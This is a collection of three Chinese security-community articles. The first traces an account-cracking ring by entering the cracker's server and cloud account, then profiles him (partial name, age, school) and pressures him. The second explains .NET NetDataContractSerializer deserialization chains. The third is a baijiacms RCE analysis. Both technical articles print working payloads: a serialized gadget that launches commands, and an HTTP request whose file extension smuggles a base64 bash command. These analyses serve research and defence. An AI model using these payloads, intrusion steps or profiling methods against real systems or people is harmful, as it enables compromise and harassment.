有意思的是，从数据包来看，这些扫号软件并不是直接通过web的接口来进行扫号的，从他们的文件命名来看他们的扫号都是通过YY直播客户端的通信协议来完成的，猜测这样做的目的是增加扫号的速度，因为初步来看给予YY直播协议的登陆是直接通过tcp协议完成的。不用再走一层http。
在同目录发现了config配置文件，这个文件配置的就是前面黑客的hfs地址，这就解开了之前的疑问，其实他hfs里面的ip列表都是他收集的一些免费的匿名代理ip，用来批量导入扫号软件中软件开始扫号。
**2** **、意外收获**
在这位黑客的vps上面发现了“百度云盘的软件”，打开他的百度云软件，他居然记住了密码，我们也就顺着这条路深挖了一下。
他的百度运账号里面存放着大量的外挂、账号数据、以及一些扫号的源码。
在一个文件夹为400万的文件夹中发现了存放着380多万的YY账号和密码的文件
初步怀疑这些账号密码是之前YY泄露过的一部分
这些账密都是十分整齐的排列,随机挑选其中的账号也是有能够登陆的,这些应该就是扫号的的基础数据来源了。后来也证实了这的确是是之前yy泄漏的老数据（这部分后面会写）
到此已经找到这个黑客的扫号的数据源、扫号工具、扫号方式。但是，我们依然对他这380万的账号来源和他后续这些账号怎么变现非常感兴趣，于是就有了后续一系列的操纵。
****
## 0x02 溯源+社工
**1** **、** **轻松的溯源** ****
为了了解他们整个产业链我决定加他的qq。加他之前对他进行了深入了解，前面说这个黑客确实大意了，在他的vps百度云是记住密码的，于是乎我们的溯源就容易多了。
看到炫酷的OPPO r7s 这个明显是他的手机传上来的，
这就是小黑客的样子，还是个萌萌哒的小鲜肉，他是在山东潍坊某学校上学
最后在他的自己的定位图发现了他读的学校，某某科技学院
这个黑客可真大意，继续翻他的相册
发现了他的两个qq号，分别是281********、3338*******
然后通过他的从百度云账号，我们能够辅助的判断他最常用的qq大号，就是这个2开头的qq号
这位黑客自己还成立一个叫“凉心科技的”公司（然而经过查询并没有注册在案），还在做免流的生意
顺带在他的qq空间暴露了他的年龄，还是个多愁善感的小伙。
在他使用校园上网软件中么也发现了他的姓名，
通过和他的vps的3389密码对比，发现他vps的密码的开头就是姓名的缩写
侧面也印证这个叫张某涛的人就是那个扫号黑客
**汇总后，信息总结如下** ：
姓名：张*涛
年龄：18
常用QQ：281*******、333*******
学校：****科技学院
主要产业：扫号、免流、游戏外挂
**2、强行社工**
掌握了这些信息后，我觉得足以吓唬到他了，于是以合作的名义加他。
我直接表明了我就是之前黑掉他服务器的人，想找他合作搞YY直播账号。
开始他还很有防备半信半疑，我然后抖了关于他的很多的个人信息。
他立马态度大变，还要拜师学习黑客技术，于是就在他面前强行吹了波逼，加强了他对我的信任。（他始终都没反应过来他的人信息我是从他百度云扒下来的 ：） ）
## 0x02 基础数据的来源
得到他的信任之后，我就和他交流了一些问题，首先，就是他那380万的账号的来源，果然就是之前泄露过的那一批之中的
## 0x03 洗号变现
从他这里也了解到YY直播怎么洗号变现的，他其实不是整个链条的最后一环节，他只是其中一环，他只把扫出来的账号，卖给下家，自己就不管了。行情大概是100元1万个普通的yy账号
有YY币的账号另算。大概是按10：4卖给下家，下家就直接给主播刷礼物，然后主播从YY的官方把礼物按比列体现成钱，到此yy币就变百花花银子了。
而那些没有钱的YY账号，这些人就会用批量挂号软件，批量进入主播濒道，为主播增加观看人数从而达到刷人气的目的。（有些主播可能是洗号的人自己开的，也可能是和一些主播合作然后分成）
通过这位黑客介绍，找到了洗号的下家，有序是熟人介绍，这个人对我很是信任，从他那里也证实了这位黑客之前说的，我说我有大量的YY账号找他合作。
他直接仍给我一个批量刷礼物的软件，说是测试版本，证明他的实力。
从这个软件数据包来看，当要查询币数量和批量送礼物的时候就需要走http协议了。
至此整个产业链，也就完整的呈现出来了
## 0x04 总结
1、人在做天在看，干坏事总会留下痕迹的，当然这肯定只是扫号产业中很小的一部分。
2、扫号这种产业一直都是伴随着整个互联网的，针对这些扫号的黑客，甲方的风控压力确实不小，要和这些黑产对抗，甲方的要走的路还很长
3、顺带说一句现在各大的云计算平台真的是成了各种黑客的保护地，上面什么样的黑产都有，也许要打击这些黑产，这些云平台也许应该负点责任了 | 社区文章 |
# NetDataContractSerializer
NetDataContractSerializer和DataContractSerializer同样用于序列化和反序列化 Windows
Communication Foundation (WCF) 消息中发送的数据。
两者有一个重要的区别在于：[NetDataContractSerializer](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8)
在序列化的 XML 中包含 CLR 类型信息；而
[DataContractSerializer](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.datacontractserializer?view=netframework-4.8)
不包含。 因此，只有在序列化和反序列化端使用相同的 CLR 类型时，才能使用
[NetDataContractSerializer](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8)。
NetDataContractSerializer不仅可以对已应用
[DataContractAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.datacontractattribute?view=netframework-4.8)
或 [SerializableAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.serializableattribute?view=netframework-4.8) 属性的类型进行序列化。
它还可以对用于实现 [ISerializable](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.iserializable?view=netframework-4.8)
的类型进行序列化。
该类同样位于[System.Runtime.Serialization](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization?view=netframework-4.8)命名空间，实现XmlObjectSerializer和IFormatter接口，并有多个构造函数重载和序列化、反序列化重载。
# demo
微软官方文档给出了demo
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;
namespace NetDataContractDeserialize
{
// You must apply a DataContractAttribute or SerializableAttribute
// to a class to have it serialized by the NetDataContractSerializer.
[DataContract(Name = "Customer", Namespace = "http://www.contoso.com")]
class Person : IExtensibleDataObject
{
[DataMember()]
public string FirstName;
[DataMember]
public string LastName;
[DataMember()]
public int ID;
public Person(string newfName, string newLName, int newID)
{
FirstName = newfName;
LastName = newLName;
ID = newID;
}
private ExtensionDataObject extensionData_Value;
public ExtensionDataObject ExtensionData
{
get
{
return extensionData_Value;
}
set
{
extensionData_Value = value;
}
}
}
public sealed class Test
{
private Test() { }
public static void Main()
{
try
{
WriteObject("NetDataContractSerializerExample.xml");
ReadObject("NetDataContractSerializerExample.xml");
}
catch (SerializationException serExc)
{
Console.WriteLine("Serialization Failed");
Console.WriteLine(serExc.Message);
}
catch (Exception exc)
{
Console.WriteLine(
"The serialization operation failed: {0} StackTrace: {1}",
exc.Message, exc.StackTrace);
}
finally
{
Console.WriteLine("Press <Enter> to exit....");
Console.ReadLine();
}
}
public static void WriteObject(string fileName)
{
Console.WriteLine(
"Creating a Person object and serializing it.");
Person p1 = new Person("Zighetti", "Barbara", 101);
FileStream fs = new FileStream(fileName, FileMode.Create);
XmlDictionaryWriter writer = XmlDictionaryWriter.CreateTextWriter(fs);
NetDataContractSerializer ser =
new NetDataContractSerializer();
ser.WriteObject(writer, p1);
writer.Close();
}
public static void ReadObject(string fileName)
{
Console.WriteLine("Deserializing an instance of the object.");
FileStream fs = new FileStream(fileName,
FileMode.Open);
XmlDictionaryReader reader =
XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
NetDataContractSerializer ser = new NetDataContractSerializer();
// Deserialize the data and read it from the instance.
Person deserializedPerson =
(Person)ser.ReadObject(reader, true);
fs.Close();
Console.WriteLine(String.Format("{0} {1}, ID: {2}",
deserializedPerson.FirstName, deserializedPerson.LastName,
deserializedPerson.ID));
}
}
}
生成的xml如下
<Customer z:Id="1" z:Type="NetDataContractDeserialize.Person" z:Assembly="NetDataContractSerializer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://www.contoso.com" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><FirstName z:Id="2">Zighetti</FirstName><ID>101</ID><LastName z:Id="3">Barbara</LastName></Customer>
可见指定Person类的Name为Customer之后，生成的xml中Customer有一个属性`z:Assembly="NetDataContractSerializer,
Version=1.0.0.0, Culture=neutral,
PublicKeyToken=null"`存储了clr类型。只有序列化和反序列化的两端都有这个类型时，才能使用NetDataContractSerializer。
# 攻击链
在yso中有多个攻击链适用于NetDataContractSerializer，比如：ActivitySurrogateDisableTypeCheck、AxHostState、PSObject等等。
## PSObject
其中PSObject有严格的限制：Target must run a system not patched for CVE-2017-8565
(Published: 07/11/2017)。该漏洞在2017年7月11日发了补丁。
使用ysoserial.net自带的测试参数-t，`ysoserial.exe -f NetDataContractSerializer -g
PSObject -t -c calc`来进行调试，堆栈如图
其反序列化函数中读取CliXml值进行反序列化
经过多次调用后
* PSDeserializer.DeserializeAsList()
* System.management.automation.Deserializer.Deserialize()
* System.Management.Automation.InternalDeserializer.ReadOneObject()
当对象为CimInstance实例时
会继续调用
* System.Management.Automation.InternalDeserializer.RehydrateCimInstance()
* System.Management.Automation.InternalDeserializer.RehydrateCimInstanceProperty()
在RehydrateCimInstanceProperty中下图标红的一行type可控。type取决于text2，text2取决于psobject，psobject取决于obj，obj取决于传入的deserializedProperty
`object obj = deserializedProperty.Value;`
type可控，继续执行到ConvertEnumerableToArray
获取传入的每个元素并通过LanguagePrimitives.ConvertTo()将其转为ElementType，LanguagePrimitives.ConvertTo继续调用LanguagePrimitives.FigureConversion
FigureConversion尝试寻找类型对应的反序列化方法
然后继续进入LanguagePrimitives.FigureConversion(fromType,
resultType)转换类型，在FigureConversion中会调用LanguagePrimitives.FigureParseConversion(fromType,
toType)
而在FigureParseConversion中
private static LanguagePrimitives.PSConverter<object> FigureParseConversion(Type fromType, Type toType)
{
if (toType.IsEnum)
{
if (fromType.Equals(typeof(string)))
{
return new LanguagePrimitives.PSConverter<object>(LanguagePrimitives.ConvertStringToEnum);
}
if (LanguagePrimitives.IsTypeEnumerable(fromType))
{
return new LanguagePrimitives.PSConverter<object>(LanguagePrimitives.ConvertEnumerableToEnum);
}
}
else if (fromType.Equals(typeof(string)))
{
BindingFlags bindingAttr = BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy | BindingFlags.InvokeMethod;
MethodInfo methodInfo = null;
try
{
methodInfo = toType.GetMethod("Parse", bindingAttr, null, new Type[] { typeof(string), typeof(IFormatProvider) }, null);
}
catch (AmbiguousMatchException ex)
{
LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method with CultureInfo: \"{0}\".", new object[] { ex.Message });
}
catch (ArgumentException ex2)
{
LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method with CultureInfo: \"{0}\".", new object[] { ex2.Message });
}
if (methodInfo != null)
{
return new LanguagePrimitives.PSConverter<object>(new LanguagePrimitives.ConvertViaParseMethod { parse = methodInfo }.ConvertWithCulture);
}
try
{
// 这里可以XamlReader.Parse
methodInfo = toType.GetMethod("Parse", bindingAttr, null, new Type[] { typeof(string) }, null);
}
catch (AmbiguousMatchException ex3)
{
LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method: \"{0}\".", new object[] { ex3.Message });
}
catch (ArgumentException ex4)
{
LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method: \"{0}\".", new object[] { ex4.Message });
}
if (methodInfo != null)
{
return new LanguagePrimitives.PSConverter<object>(new LanguagePrimitives.ConvertViaParseMethod { parse = methodInfo }.ConvertWithoutCulture);
}
}
return null;
}
在`toType.GetMethod("Parse", bindingAttr, null, new Type[] { typeof(string) },
null)`可以XamlReader.Parse()触发rce。
## TypeConfuseDelegate
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Start</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName><a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c calc</string><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd</string></Items></ArrayOfstring>
反序列化代码
using System.IO;
using System.Runtime.Serialization;
using System.Xml;
namespace NetDataContractDeserialize
{
public class Program
{
public static void Main()
{
FileStream fs = new FileStream("1.xml", FileMode.Open);
XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
NetDataContractSerializer ser = new NetDataContractSerializer();
ser.ReadObject(reader, true);
fs.Close();
}
}
}
# 审计
关注NetDataContractSerializer传入xml的内容是否可控，以及在上文中DataContractSerializer同理的DataContractResolver自定义类型解析器对于type的处理。还有就是构造函数的IDataContractSurrogate参数，关注其实现。
**这个在DataContractJsonSerializer一节中讲解，本文不讲。**
# 后文
本文讲解了NetDataContractSerializer的序列化和反序列化，以及PSObject利用链。 | 社区文章 |
**1.环境搭建**
发现CNVD有该CMS的漏洞并且还是⾼危的，但是不知道漏洞细节，于是想尝试⾃⼰分析⼀下
下载地址：<https://github.com/baijiacms/baijiacmsV4>
CNVD：<https://www.cnvd.org.cn/flaw/show/CNVD-2023-00008>
<https://github.com/This-is-Y/baijiacms-RCE>
baijiacms版本存在安全漏洞，该漏洞源于includes/baijiacms/common.inc.php存在远程代码
执⾏（RCE）
1.环境搭建
<http://localhost:8888/baijiacms/install.php>
使⽤PHP5.6.40
安装成功直接默认会
[http://localhost:8888/baijiacms/index.php?mod=mobile&name=public&act=public&do=index](http://localhost:8888/baijiacms/index.php?mod=mobile&name=public&act=public&do=index)
**
2.漏洞扫描**
使⽤seay先扫描⼀下，这样先查看出来可能有⽤的漏洞点，但是发现漏洞点过余的细，不熟悉
系统架构的情况下，想直接分析起来太难，⾸先分析路由吧还是
**3.路由分析**
查看 index.php 中的内容,根据我们最开始访问的URL
[http://localhost:8888/baijiacms/index.php?mod=mobile&act=public&do=index&beid=1](http://localhost:8888/baijiacms/index.php?mod=mobile&act=public&do=index&beid=1)
<?php
if(!file_exists(str_replace("\\",'/',
dirname(__FILE__)).'/config/install.link'))
{
//判断./config/install.link⽂件是否存在不存在的话就跳转到安装⽬录
if((empty($_REQUEST['act'])||!empty($_REQUEST['act'])&&$_REQUEST['act']!
='public'))
{
header("location:install.php");
exit;
}
}
if(defined('SYSTEM_ACT')&&SYSTEM_ACT=='mobile')
//这⾥⾸先并不会定义SYSTEM_ACT，所以不会进⼊if
{
$mod='mobile';
}else
{
if(!empty($_REQUEST['c']))
{
//并没有c参数，不会进⼊if
$mod=
(empty($_REQUEST['c'])||$_REQUEST['c']=='entry')?'mobile':$_REQUEST['c']
;
}else
{
//mod参数不为空，并且传⼊的就是mobile,$mod的内容就是mobile
$mod=empty($_REQUEST['mod'])?'mobile':$_REQUEST['mod'];
}
}
if($mod=='mobile')
{
//全局定义了SYSTEM_ACT变量
defined('SYSTEM_ACT') or define('SYSTEM_ACT', 'mobile');
}else
{
defined('SYSTEM_ACT') or define('SYSTEM_ACT', 'index');
}
if(empty($_REQUEST['do']))
{
$_GET['do']="shopindex";
}
if(!empty($_REQUEST['act']))
{
//act参数的内容是public
$_GET['act']=$_REQUEST['act'];
}else
{
$_GET['act']="shopwap";
}
ob_start();
require 'includes/baijiacms.php';//包含⽂件
ob_end_flush();
exit;
可以看到引⼊了 baijiacms.php ⽂件，该⽂件定义了常⽤的全局变量以及对传⼊进来的参数
进⾏了预处理以及HTML实体化的操作
//code
define('SYSTEM_IN', true);
define('MAGIC_QUOTES_GPC', (function_exists('get_magic_quotes_gpc') &&
get_magic_quotes_gpc()) || @ini_get('magic_quotes_sybase'));
//获取到MAGIC_QUOTES_GPC的状态
//code
if(!session_id())
{
session_start();
header("Cache-control:private");
}
if(DEVELOPMENT) {
ini_set('display_errors','1');
error_reporting(E_ALL ^ E_NOTICE);
//error_reporting(E_ERROR | E_PARSE);
} else {
error_reporting(0);
}
ob_start();
if(MAGIC_QUOTES_GPC) {
//如果开启了MAGIC_QUOTES_GPC，就进⼊该⽅法
function stripslashes_deep($value){
//这⾥去除了addslashes() 函数添加的反斜杠
$value=is_array($value)?
array_map('stripslashes_deep',$value):stripslashes($value);
return $value;
}
//将所有传⼊的参数都这么执⾏了⼀遍
$_POST=array_map('stripslashes_deep',$_POST);
$_GET=array_map('stripslashes_deep',$_GET);
$_COOKIE=array_map('stripslashes_deep',$_COOKIE);
$_REQUEST=array_map('stripslashes_deep',$_REQUEST);
}
$_GP = $_CMS = array();
$_GP = array_merge($_GET, $_POST, $_GP);
function irequestsplite($var) {
if (is_array($var)) {
foreach ($var as $key => $value) {
$var[htmlspecialchars($key)] = irequestsplite($value);
}
} else {
$var = str_replace('&', '&', htmlspecialchars($var,
ENT_QUOTES));
}
return $var;
}
//进⾏HTML实体化处理
$_GP = irequestsplite($_GP);
if(empty($_GP['m']))
{
$modulename = $_GP['act'];
}else
{
$modulename = $_GP['m'];
}
if(empty($_GP['do'])||empty($modulename))
{
exit("do or act is null");
}
$pdo = $_CMS['pdo'] = null;
$_CMS['module']=$modulename;
$_CMS['beid']=$_GP['beid'];
if(!empty($_GP['isaddons']))
{
$_CMS['isaddons']=true;
}
$bjconfigfile = WEB_ROOT."/config/config.php";
if(is_file($bjconfigfile))
{
require WEB_ROOT.'/includes/baijiacms/mysql.inc.php';
}
require WEB_ROOT.'/includes/baijiacms/common.inc.php';
require WEB_ROOT.'/includes/baijiacms/setting.inc.php';
require WEB_ROOT.'/includes/baijiacms/init.inc.php';
$_CMS[WEB_SESSION_ACCOUNT]=$_SESSION[WEB_SESSION_ACCOUNT];
require WEB_ROOT.'/includes/baijiacms/extends.inc.php';
require WEB_ROOT.'/includes/baijiacms/user.inc.php';
require WEB_ROOT.'/includes/baijiacms/auth.inc.php';
require WEB_ROOT.'/includes/baijiacms/weixin.inc.php';
require WEB_ROOT.'/includes/baijiacms/runner.inc.php';
根据cnvd的提示，找到⽂件 common.inc.php 中，迅速定位到 file_save() 函数中，654⾏
function
file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_rela
tive_path,$allownet=true)
{
$settings=globaSystemSetting();
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上传⽂件失败');
}
if(!empty($settings['image_compress_openscale']))
{
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0)
{
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.'
'.$file_full_path);
}
//code
}
$file_full_path 参数是调⽤的时候传⼊的，查询⼀下是谁调⽤过本函数，找到⼀
处 system/weixin/class/web/setting.php ⽂件中的32⾏
研究⼀下什么时候才会调⽤到这⾥
[http://localhost:8888/baijiacms/index.php?mod=wexin&act=web&do=index&beid=1](http://localhost:8888/baijiacms/index.php?mod=wexin&act=web&do=index&beid=1)
暂时停下来，重新看⼀下调⽤情况
同⽂件的 file_upload() 函数也会调⽤ file_save() 函数，查看何处调⽤ file_upload()
函数，找到 system/public/class/web/file.php ⽂件的28⾏调⽤
现在想访问到该函数
[http://localhost:8888/baijiacms/index.php?mod=system&act=web&do=upload](http://localhost:8888/baijiacms/index.php?mod=system&act=web&do=upload)
这⾥⽣成的是随机的⽂件名,并不存在上传漏洞，并且会执⾏到 file_upload() ⽅法
function file_upload($file, $type = 'image') {
if(empty($file)) {
return error(-1, '没有上传内容');
}
$limit=5000;
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if(empty($type)||$type=='image')
{
//很明显这⾥做了⽩名单限制
$extentions=array('gif', 'jpg', 'jpeg', 'png');
}
if($type=='music')
{
$extentions=array('mp3','wma','wav','amr','mp4');
}
if($type=='other')
{
$extentions=array('gif', 'jpg', 'jpeg',
'png','mp3','wma','wav','amr','mp4','doc');
}
if(!in_array(strtolower($extention), $extentions)) {
return error(-1, '不允许上传此类⽂件');
}
if($limit * 1024 < filesize($file['tmp_name'])) {
return error(-1, "上传的⽂件超过⼤⼩限制，请上传⼩于 ".$limit."k 的⽂件");
}
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_full_path = WEB_ROOT . $path . $extpath. $filename;
$file_relative_path=$extpath. $filename;
return
file_save($file['tmp_name'],$filename,$extention,$file_full_path,$file_r
elative_path);
}
这⾥不允许上传php⽂件
**4.RCE分析**
4.1 上传漏洞
于是找到 common.inc.php ⽂件中的613⾏的 fetch_net_file_upload 函数，同样也会调
⽤ file_save ⽅法
在system/public/class/web/file.php文件中第20行存在$file=fetch_net_file_upload($url);方法也会调用到file_save()方法，通过访问[http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx接口就可以成功调用到该方法，在op选择fetch时可以调用到该方法](http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx接口就可以成功调用到该方法，在op选择fetch时可以调用到该方法)
在第20行下断点，并发发送
[http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1:9999/whoami&status=1&beid=1](http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1:9999/whoami&status=1&beid=1)
可以成功断到该处方法
进入到fetch_net_file_upload方法的时候只有一个参数就是$url，方法里的大部分代码是没有用处的，但是到了630行是一个关键代码
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return
file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
这里执行了一个file_put_contents()方法，第一个参数是要写入的文件，第二个参数写入的内容，可以看到第二个参数中又执行了file_get_contents($url)就是从我们传入的url中获取到内容，现在我传入的是<http://127.0.0.1:9999/whoami，但是我本地并没有该文件，所以一定访问不到就进入了if判断，之后直接就return错误了，不会继续执行到file_save函数。图中显示错误>
于是就可以开始一个服务并且让其中存在一个whoami文件，并且启动本机的9999端口，让程序可以访问到就可以不进入该if判断了
现在再试试，可以看到现在的信息不一样了
实际查看本地上传的文件确实也上传上去了
查看断点的时候确实也没有进入第一个if判断
于是现在就要跟进到file_save()方法中，只有$file_full_path参数是可以控制的
而该处的file_full_path是上一个方法传入进来的，可以查看一下该参数的构造
$url = trim($url);
$extention = pathinfo($url,PATHINFO_EXTENSION );
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
首先获取到$extection变量是通过pathinfo()获取的，目前我们传入的文件是whoami文件，拓展名是空
然后执行到$filename = random(15).".{$extention}";就是随机生成一个文件名并追加上刚才的后缀，于是我们现在的文件名就是
于是这里其实上传一个php文件是不会限制后缀名的
上传成功
这里还有一个思考，该开发只对file_upload方法做了限制fetch_net_file_upload却并没有做任何限制，可见代码写的不严格。
4.2 命令执行
找到上传漏洞并非本意，本意是想继续通过闭合直接构造RCE的，于是继续分析代码。
$url = trim($url);
$extention = pathinfo($url,PATHINFO_EXTENSION );
//这里该参数就是获取的.后边的所有内容最后拼接到file_full_path中
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;//这里拼接好了之后会直接传入进行命令执行
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true){
//code
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
所以如果$extention变量中就存在;的话就会将后边的system()执行的内容分成两个命令去执行，尝试构造文件名为whoami.;ping -c 4
wk8imc.dnslog.cn，由于文件名中不能存在空格需要进行base64编码以及使用${IFS}来代替空格
原payload：whoami.;echo ping -c 4 www.baidu.com
处理之后payload：whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
将该base64后的结果通过管道符输入linux的base64指令中，得到结果之后再通过管道符输入bash指令中去执行。
tips：${IFS}在bash中可以作为空格的替代品
于是我们本地存在了该文件
启动服务之后发送请求
GET
/baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=[http://127.0.0.1:9999/whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;&status=1&beid=1](http://127.0.0.1:9999/whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;&status=1&beid=1)
HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/109.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
_/_ ;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=eb6b5f409ab739f91dc88c3278fbe855
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
确实执行了命令返回了输出结果
现在来进入代码调试一下，可以看到$extention变成了;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;,
果然截取了所有的.之后的内容作为后缀名。
继续跟进查看$file_full_path内容
/Applications/MAMP/htdocs/baijiacms/attachment/;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;/2023/02/wYR5UQOPAzjEUT6.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
以上内容中存在一个;就可以将之后执行命令的代码，分成两个命令。
